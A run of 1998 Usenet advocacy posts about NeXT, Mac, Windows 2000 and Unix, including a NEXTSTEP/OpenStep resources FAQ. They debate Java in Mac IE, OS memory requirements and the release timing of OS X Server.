w83/\[@#\u?TVrF3fqDjK?
In article <36576248.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy Forrest Cameranesi <forrest@west.net> wrote:
>> In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
>> dot com)" <todd@dev.null> wrote:
>
>> >Now Microsoft is announcing that it is removing Java from IE for the
>> >Macintosh [2]. Does anyone have an idea how, if at all, this will affect
>> >Mac users from running Java applications or Java applets?
>
>> I don't use IE myself, but I seem to recall hearing that you can select
>> which Java VM or JIT you want it to use. So even if MS removes it's Java
>> implementation from IE, you should still be able to point it to MRJ,
>> MetroWerks' JIT, or any other Java engine you might happen to have.
>
>I think Microsoft said they are going to have to change release a new
>version of IE in order to support that.
No, using MRJ instead of the builtin JVM is supported in the current IE.
Alas, they are ahead of Netscape in this regard. Mozilla 5.0 will,
eventually, support this.
(MS may have to release a new version of IE to rip out their tainted JVM
and either replace it with something compliant or make the "optional" use
of MRJ mandatory.)
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: josh@vortex.nyu.edu (Josh Fishman)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sat, 21 Nov 1998 15:36:21 -0500
Organization: New York University
Message-ID: <slrn75e9bi.253.josh@vortex.nyu.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi>
On Fri, 20 Nov 1998 20:40:04 GMT, ttammi wrote:
> Stephen Edwards <ja207030@primenet.com> wrote:
>
> >Well, assuming what you state is true, perhaps I have jumped the gun.
> >However, it just seems insane for an OS to have such hefty hardware
> >requirements... it's difficult for me to see exactly _why_ needing 64MB of
> >RAM to use a server makes sense. If I am just being highly irrational
> >here, please tell me so.
>
> Well, the HP-UX workstations we run at work seem to always have
> minimum 64MB of memory, and in many cases 128MB. Not to mention the
> bigger HP-UX machines...
>
> But I'm interested to see what Windows2000 will offer for that extra
> memory and HD space. If it is just some stupid stuff like "World's
> first animating Windows wallpapers!!!"...
Feh! Linux has had Animated Wallpapers since the first penguin
crawled out of the primordial swap and typed ``flame -root''.
- Josh
--
O< ( ( ``I would turn the question around, and ask,
_NH >=O ) ) "If it's a hobby for us and a job for you,
<_>-<_ + :::::-. then why are you doing such a shoddy job?"''
HCl<O> :::`-' -- Linus Torvalds
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <24470911106025@digifix.com>
Date: 22 Nov 1998 04:46:23 GMT
Organization: Digital Fix Development
Message-ID: <24666911710829@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: Simon Hosie <gumboot@zacnmy.no.circulars>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i686))
Sender: gumboot@no.circulars (Simon Hosie)
Organization: .
Message-ID: <F2tBB8.3Hr@no.circulars>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <slrn75e9bi.253.josh@vortex.nyu.edu>
Date: Sun, 22 Nov 1998 07:25:56 GMT
NNTP-Posting-Date: Sun, 22 Nov 1998 20:33:19 NZDT
Josh Fishman:
> Feh! Linux has had Animated Wallpapers since the first penguin crawled out
> of the primordial swap and typed ``flame -root''.
Is "swap" a pun I only partially get, or a typo leaving open a pun that I
can't quite make up?
I'd crosspost to a.u.e (they'd know what to do, I'm sure of it), but I don't
think they'd appreciate a crosspost to *.advocacy.
--
# Please try to quote no more than you need to show the context of your post.
#
# email: Gumboot, at an ISP named Clear.Net, in New Zealand.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: New date for OS X Server?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tgaa$h6o@news1.panix.com>
Message-ID: <3657c2e9.0@news.depaul.edu>
Date: 22 Nov 98 07:53:13 GMT
In comp.sys.next.advocacy Sal Denaro <sal@panix.com> wrote:
> On Tue, 17 Nov 1998 18:24:45 -0500, WPH <whaddock@neosoft.net> wrote:
> >Last week a Apple sales rep told me that MacOS X Server is basically ready
> >for release. He says the marketing department just has no clue about how
> >to market it.
> I find this much more troubling than the fact that it is late. What have
> the marketing people been doing for the past year?
> (Ok, they have done a pretty good job with the iMac.)
Part of the problem could be how to market the release. At this point,
they'd get a lot more mileage out of unveiling it at Expo in January.
If they release it now, there'd be no convenient way of running
hands-on demos for Mac users. CompUSA couldn't demo it appropriately.
With an Expo release, they can demo it for thousands of Mac users,
from all over the country (world, even). And thousands of Mac
users could be subjected to a live Steve Jobs Demo with the
Field at full strength.
Apple could even put free copies under the seats at the keynote, though
they probably wouldn't. Or they could offer copies for a special
Expo discount price. More importantly, they should be able to
have it available *at* the show, not 'in a few months' as
is so often the case with their show announcements.
The best they could do right now is to hold an 'Apple Event' on
satellite and web, and maybe offer demos to those lucky folks
who view it at a Market Center. By Expo, it'd be Old News,
and you've GOT to have New News to announce at a convention.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Bart_MSN@msn.com (Bart Barton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: 22 Nov 1998 02:20:00 -0600
Organization: Computing Central
Message-ID: <Bart_MSN-2211980219320001@1cust230.tnt1.brownwood.tx.da.uu.net>
References: <737edr$2h2$1@your.mother.com> <1diurz3.3l6j0511pu97zN@tnt02dla075.escape.ca>
In article <1diurz3.3l6j0511pu97zN@tnt02dla075.escape.ca>,
gbeggs@escape.ca (Gerry Beggs) wrote:
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>
> > As most people know, a judge recently ordered Microsoft to change its Java
> > imlementation in IE to meet Sun's compatibility tests [1]. We also know
> > Apple has made IE its default browser.
> >
> > Now Microsoft is announcing that it is removing Java from IE for the
> > Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> > Mac users from running Java applications or Java applets?
>
> Are they removing the capability to run Java completely?
> I know there is the option of using M$'s VM or Apple's.
> They could simply use Apple's MRJ, and there would be no problems.
The last I read on the subject yesterday was that Microsoft would be
pulling their Java completely out of the Mac and Unix OS versions. Rather
than trying to "fix" their implementations in these 2 versions they're
simply going to "point" users to where they can download a Java package
that will work with their OS. More than likely they'll simply "recommend"
Mac owners download Apple's Java implementation if they want Java support
in the Mac version(s) of IE.
..... Bart
--
Bart_MSN@msn.com
Computing Central - Macintosh Forum
http://computingcentral.msn.com/topics/macintosh
From: jseymour@jimsun.LinxNet.com (Jim Seymour)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 21 Nov 1998 20:34:04 GMT
Organization: No particular organization
Message-ID: <73783s$3b9$1@jimsun.uucp>
References: <7329lg$ot0$1@nnrp02.primenet.com>
<ee352.3248$%X5.8067515@newsgate.direct.ca>
<732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net>
<01be1452$1e5eb6b0$a007280a@ntw_bmladmin>
<01be150e$a7080a40$a1f1ccc3@default>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
In article <01be150e$a7080a40$a1f1ccc3@default>,
"Bjørnar Bolsøy" <bbolsoey@rl.telia.no> writes:
> Stephen Kwasniak <skwasniak@westpac.com.au> wrote:
>
>> sure NT is bloatware but so is all of MS other products
>
> Actually, MS has managed to develop a few decent
> products from time to time. WinCE is a good example
> IMO, with a full win32 complient API with a host of
> elegant features basically fitting inside a 200Kb footprint.
Before I bought my Palm III a couple of months ago, I went to
the Web and found every article I could on "palm" computers
and organizers. Would you care to take a wild guess at which
palm-tops consistently got the worst reviews of all? Yes,
WinCE-based products. Every single time. The criticisms?
Slow, buggy (read: crash-prone, IIRC), expensive, bloated,
battery-killers. In short: palm-top versions of Microsoft's
desktop products.
Somehow, I was not surprised.
Regards,
Jim
--
Jim Seymour | "Microsoft should switch to the vacuum
jseymour@jimsun.LinxNet.com | cleaner business where people actually
http://home.msen.com/~jimsun | want products that suck."
| - Bruno Bratti (bbratti@atitech.ca)
From: jseymour@jimsun.LinxNet.com (Jim Seymour)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 21 Nov 1998 20:56:35 GMT
Organization: No particular organization
Message-ID: <7379e3$3b9$2@jimsun.uucp>
References: <7329lg$ot0$1@nnrp02.primenet.com>
<733u6n$a06$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
In article <733u6n$a06$1@nnrp02.primenet.com>,
Stephen Edwards <ja207030@primenet.com> writes:
> Stephen Edwards <ja207030@primenet.com> wrote:
>
> Well, considering what many of you have responded with, it seems like I
> really have jumped the gun. Now that some of you have stated that other
> UNIX variants have the same or higher requirements, it sort of puts
> everything back into perspective.
We need to adjust it back the other way just a bit :-).
Yes, it's true, commercial Unixen *may* have similar requirements.
And as with the NT stuff you noted: it all depends on your needs--
how you want/need to use the system. Thing is: Unix is generally
a lot more stable and higher-performing if you "feed" it. In
other words: you get more bang for your hardware.
If you want to go low-end (dollars-wise), there are the various
free/low-cost/OSS/<whatever> *nixen such as Linux or *BSD. Then
you get the best of both worlds: lower hardware costs than with
commercial Unixen and better performance than with NT. (In the
latter case: you can actually go with lower-performing [thus
lower cost] hardware than with NT and still get better
performance.)
> Personally, I have not had any
> experience with high-end computer systems, and so I suppose I was merely
> unaware that such requirements are actually quite common.
Again, perspective check: it *depends*.
>
> All of my computing experience is with PC-class hardware/software, so I
> guess you could say I was stuck in a bit of a paradigm. :) But thanks to
> all of you for your informative responses... as I said, they put things
> into perspective for me. :)
If you want maximum bang-for-your-buck, probably Linux or *BSD
is for you. If you want performance where money is little
object, an enterprise class Unix on RISC hardware would be my
recommendation. I happen to be fond of Sun solutions. Others
have their favorites. If you want to spend the most money for
the least return, go Windows NT. (For all recommendations,
standard disclaimer applies: depending on what
applications/services you need. YMMV.)
Regards,
Jim
--
Jim Seymour | "Microsoft should switch to the vacuum
jseymour@jimsun.LinxNet.com | cleaner business where people actually
http://home.msen.com/~jimsun | want products that suck."
| - Bruno Bratti (bbratti@atitech.ca)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sun, 22 Nov 1998 01:07:27 -0800
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <3657D44B.5648@earthlink.net>
Greg Anderson wrote:
>
> WPH wrote in message ...
> >Today's MacOS Rumors says that it will be released after January's
> >MacWorld Expo so that some new features may be rolled into it. Yes, this
> >is just a rumors site, but with only Steve knowing the release date, all
> >there is is rumor and speculation.
>
> In my opinion, in this particular case, MOSR is in the general vicinity of
> the truth. Based on what I can gather from various sources, I no longer
> believe that MOSXS will ship in 1998, despite every indication that it would
> be technically possible to do so. (In fact, *already* to have done so.)
I'm starting to question it's release at all at this point. Even with
all the Apple hoopla these days, I think OS X Server may never see the
light of day. It's gonna be all about OS X sometime in '99. My guess
is late '99. It's a shame. I've been ready to put it on my machine
since the day Apple bought NeXT back in '96. Openstep 4.2 for PPC would
have been great! Two years later, still nothing. Thanks alot Steve!
Steve
From: douyang@novice.uwaterloo.ca (Darwin Ouyang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 22 Nov 1998 08:48:08 GMT
Organization: University of Waterloo
Message-ID: <911724487.891276@watserv4.uwaterloo.ca>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi>
Cache-Post-Path: watserv4.uwaterloo.ca!douyang@novice.uwaterloo.ca
In article <3655d240.3919304@news.netlife.fi>,
ttammi <ttammi@netlife.fi> wrote:
>But I'm interested to see what Windows2000 will offer for that extra
>memory and HD space. If it is just some stupid stuff like "World's
>first animating Windows wallpapers!!!"...
You can do that right now with IE4.
Remember Active Desktop? Well anything than can go in an HTML file can
also go on the desktop. Or a folder.
Make a big animated gif, write a three line HTML, and set your
NT/98/95/IE4 desktop background to it. Presto, animated wallpaper.
You can even embed video, sounds, plugins, ActiveX controls, Java applets.
:-)
Darwin Ouyang
From: saddinoAT@clarkDOT.net (Danny Espinoza)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sun, 22 Nov 1998 05:00:38 -0500
Organization: Verio East
Message-ID: <saddinoAT-2211980500380001@saddino.clark.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <911724487.891276@watserv4.uwaterloo.ca>
In article <911724487.891276@watserv4.uwaterloo.ca>,
douyang@novice.uwaterloo.ca (Darwin Ouyang) wrote:
> In article <3655d240.3919304@news.netlife.fi>,
> ttammi <ttammi@netlife.fi> wrote:
>
> >But I'm interested to see what Windows2000 will offer for that extra
> >memory and HD space. If it is just some stupid stuff like "World's
> >first animating Windows wallpapers!!!"...
>
> You can do that right now with IE4.
>
> Remember Active Desktop? Well anything than can go in an HTML file can
> also go on the desktop. Or a folder.
>
> Make a big animated gif, write a three line HTML, and set your
> NT/98/95/IE4 desktop background to it. Presto, animated wallpaper.
>
> You can even embed video, sounds, plugins, ActiveX controls, Java applets.
>
> :-)
>
> Darwin Ouyang
Gee, you really do have the most "innovative" and best OS around!
Danny
####################################################################
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Sun, 22 Nov 1998 13:27:33 GMT
Message-ID: <36620e58.1564102@news.demon.co.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com>
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On 20 Nov 1998 14:26:31 GMT, Stephen Edwards <ja207030@primenet.com>
wrote:
>Stephen Edwards <ja207030@primenet.com> wrote:
>
>Well, considering what many of you have responded with, it seems like I
>really have jumped the gun. Now that some of you have stated that other
>UNIX variants have the same or higher requirements, it sort of puts
>everything back into perspective.
No, they have not said that UNIX variants have higher requirements.
They said they *had* machines which were higher than the requirements.
You seem to have provoked a dick-size competition. If we go back and
examine some of their claims in detail...
====
On Fri, 20 Nov 1998 15:12:14 +0100, Matthias Bethke
<Matthias.Bethke@stud.uni-erlangen.de> (Organisation: Computational
Linguistics, University of Erlangen - the people with a CLUE) wrote:
>Ah, I quite enjoy this 1G dual-CPU HP crate I'm working on right now as
>well.
>Not the fastest numbercruncher, but a monster in RAM throughput.
>Together with its 24bit gfx board it feels a heck of a lot faster than
>the 64M-equipped workstations all over the place here.
>
>> Sometimes it's good to work for DoD.
>
>Any decent university will do just as well :-)
>
>ttyl!
> Matthias
Computation Linguistics. I would presume these people do real work,
and aren't just running Word on their machine.
====
On 20 Nov 1998 05:09:53 GMT, moncomm@NOSPAM.earthlink.net (Jamie
Schrumpf) (Organisation: Monrovia Communications) wrote:
>Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it. 64 meg
>just about makes a good workstation.
>
>Sometimes it's good to work for DoD.
Presumably the DoD do real work too. Though other people may dispute
that. ;-)
====
On Fri, 20 Nov 1998 04:45:06 -0500, Jeff Barber
<Jeff.Barber@gsfc.nasa.gov> (Organisation: NASA Goddard Space Flight
Center -- Greenbelt, Maryland USA) wrote:
>Jamie Schrumpf wrote:
>
>3GB RAM and 24 processors is kinda fun too.
>
>Now waiting for somebody from NSA, CIA, etc. to post that 128GB RAM
>and 64 processors is a blast to work with. Followed by some guy from
>Livermore stating that the fun really begins when you hit 1,000 processors. <g>
>
>Jeff Barber
Is the stuff NASA do computationally expensive? I would think so.
====
On Fri, 20 Nov 1998 11:52:48 -0600, Jeff <nobody@home.today>
(Organisation: Harris Electronic System Sector) wrote:
>How about 32 Processors and 8GB?
>If I told you where it is... I'd have to shoot ya.
>
>:)
>
>Jeff
====
The difference between all these fine pieces of machinery and the
computer needed to boot Win2000 is they all do hard work. You are just
talking about *booting* a personal OS. Remember you need to add memory
on for the applications you use. Also remember that you need a minimum
P166 to run it. That is a hell of a bite for an operating system. This
overhead needs to be subtracted from any application you run. Finite
Element Analysis is going to be rather slow with that kind of
overhead. Hell, Red Alert is going to be slow with that overhead. :-0
>Personally, I have not had any
>experience with high-end computer systems, and so I suppose I was merely
>unaware that such requirements are actually quite common.
For high end computer systems yes. We are talking about Win2000
personal, which is not a high-end system by any stretch of the
imagination.
>All of my computing experience is with PC-class hardware/software, so I
>guess you could say I was stuck in a bit of a paradigm. :) But thanks to
>all of you for your informative responses... as I said, they put things
>into perspective for me. :)
Microsoft are trying to place NT against Unix by artificially
inflating the requirements "Look it needs 64Mb, it *must* be a server
operating system!"
Wrong.
>[] Footnote server is currently down...
Regards
Anthony
p.s. If any of this multi-gig mult-processor computers ever become
obsolete, I can give them a good home. ;-)
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
od to say about Microsoft. I have defended
>WindowsNT when I felt it was proper to do so, and I have used it quite
>happily for some time. But if this is what I have to look forward too,
>I'll be more than happy to dump the Windows line for good. I don't care
>if Windows has the best graphics drivers for my 3-D applications... I
>don't care if Windows is the best candidate for a standard media OS... I
>don't care if Windows has the most application support out there... if
>these requirements are going to be the standard requirements for all of
>Microsoft's future up-and-coming products, then I will be quite proud to
>call myself an ex-Windows user.
It depends if you're making money off M$s OS that you would not with
another OS. If you are, then you'll just have to swallow the cost. If
you're not, then change. There are other options out there.
>I mean _COME ON_ Microserfs[0]!@# Can you all really sit there, look at
>these requirements, and not think to yourself "hey, you know, this code is
>getting pretty bloated... there must be a better way to do this..."?!@#
>Doesn't it make you feel just a little silly to say "Windows2000 server
>will require 64MB to install and run" with a straight face?!@# That's
>like saying "I'll need about 30 gallons of gasoline to get 60 miles
>further down the road"!@#
No, no! You're using the wrong simile. The 64Mb is just to get
started. It is like saying "I need 30 gallons of gasoline to start the
engine."
> _GOOD GOD_ I am bewildered here, folks!@#
>
>Whether or not the Windows2000 line will run nicely in its required
>environment makes absolutely no difference to me whatsoever.
Given the computer industry's definition of minimum, then it won't.
>Even if
>Windows 2000 Server runs flawlessly in 64MB of RAM, I will still not
>hesitate for a second to call it a Fucking Piece Of Shit(tm). If these
>requirements are really, truly what is needed to run these products, then
>I think I have been far too accepting, and everyone who has been screaming
>about "the morons in Redmond" have been right all along, and I was just a
>naive fool. And here I was complaining about the direction that Linux was
>moving in...
Which direction was that?
>Now I know for a _fact_, that I am moving to the NetBSD camp, and I'm sure
>I'll be taking a canteen fulla Linux with me.
Yes, try both. See which one you prefer.
>When I leave here, I am going to go home, back up my projects, wipe the
>Microsoft infestation off of my HDs, and install NetBSD.
Make sure your projects can be read with whatever your new software
is. M$ has an interest to see that they can't.
></RANT>
>
>[0] Not an insult... std. term referring to Microsoft's in-house coders.
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
